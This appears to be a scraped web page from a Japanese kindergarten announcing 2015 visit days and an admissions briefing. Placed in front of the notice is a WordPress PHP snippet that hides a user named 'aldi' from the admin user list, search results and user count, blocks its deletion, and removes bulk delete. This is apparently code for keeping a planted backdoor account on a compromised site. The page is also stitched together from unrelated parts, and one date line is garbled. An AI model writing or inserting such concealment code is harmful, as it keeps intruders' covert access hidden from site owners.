add_action('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->base === 'users') {
$protected_user = get_user_by('login', 'aldi');
if ($protected_user) {
$excluded = (array) $query->get('exclude');
$excluded[] = $protected_user->ID;
$query->set('exclude', $excluded);
}
}
}
});
add_filter('wp_count_users', function($counts) {
$protected_user = get_user_by('login', 'aldi');
if ($protected_user) {
$counts->total_users--;
}
return $counts;
});
add_action('delete_user', function($user_id) {
$user = get_user_by('ID', $user_id);
if ($user && $user->user_login === 'aldi') {
wp_die(
__('User aldi tidak dapat dihapus.', 'textdomain'),
__('Error', 'textdomain'),
array('response' => 403)
);
}
});
add_filter('user_search_columns', function($search_columns, $search, $query) {
if (is_admin()) {
$protected_user = get_user_by('login', 'aldi');
if ($protected_user) {
global $wpdb;
$query->query_where .= $wpdb->prepare(" AND {$wpdb->users}.ID != %d", $protected_user->ID);
}
}
return $search_columns;
}, 10, 3);
add_filter('bulk_actions-users', function($actions) {
if (isset($_REQUEST['users']) && is_array($_REQUEST['users'])) {
$protected_user = get_user_by('login', 'aldi');
if ($protected_user && in_array($protected_user->ID, $_REQUEST['users'])) {
unset($actions['delete']);
}
}
return $actions;
});
6月 | 2015 | 学校法人安田学園 新生幼稚園
6月 | 2015 | 学校法人安田学園 新生幼稚園
【見学会】
園生活の様子を見ていただく見学会の日程を案内いたします。参加ご希望の方は、電話またはお問い合わせ送信で参加日をご予約ください。Tel 891-3511
午前9時~10時の来園をお勧めしています。
・5月 — 18日(月)、25日(月)
・6月 — ・6月 — 1日(月)、8日(月)、11日(木)、23日(火)、26日(金)、29日(月)
【入園説明会】
入園説明会を6月24日(水)の午後2時30分から開きます。どうぞご参加ください。予約不要です。
園の教育内容を紹介しているあいだ、お子さんには先生と遊んでいただきます。
こちらは保育時間外ですので園生活の様子を見学ご希望の方は、別に見学会にお越し下さい。
・園庭横の駐車場(16台分)を見学や入園説明会で利用いただけます。
・入園願書、募集要項の配布は9月1日(火)から、願書受付は10月1日(木)からになります。
◆給食日の増加変更について
2016年度には給食日を増やし、月~金曜日の週5日全て給食日です。
2015年6月1日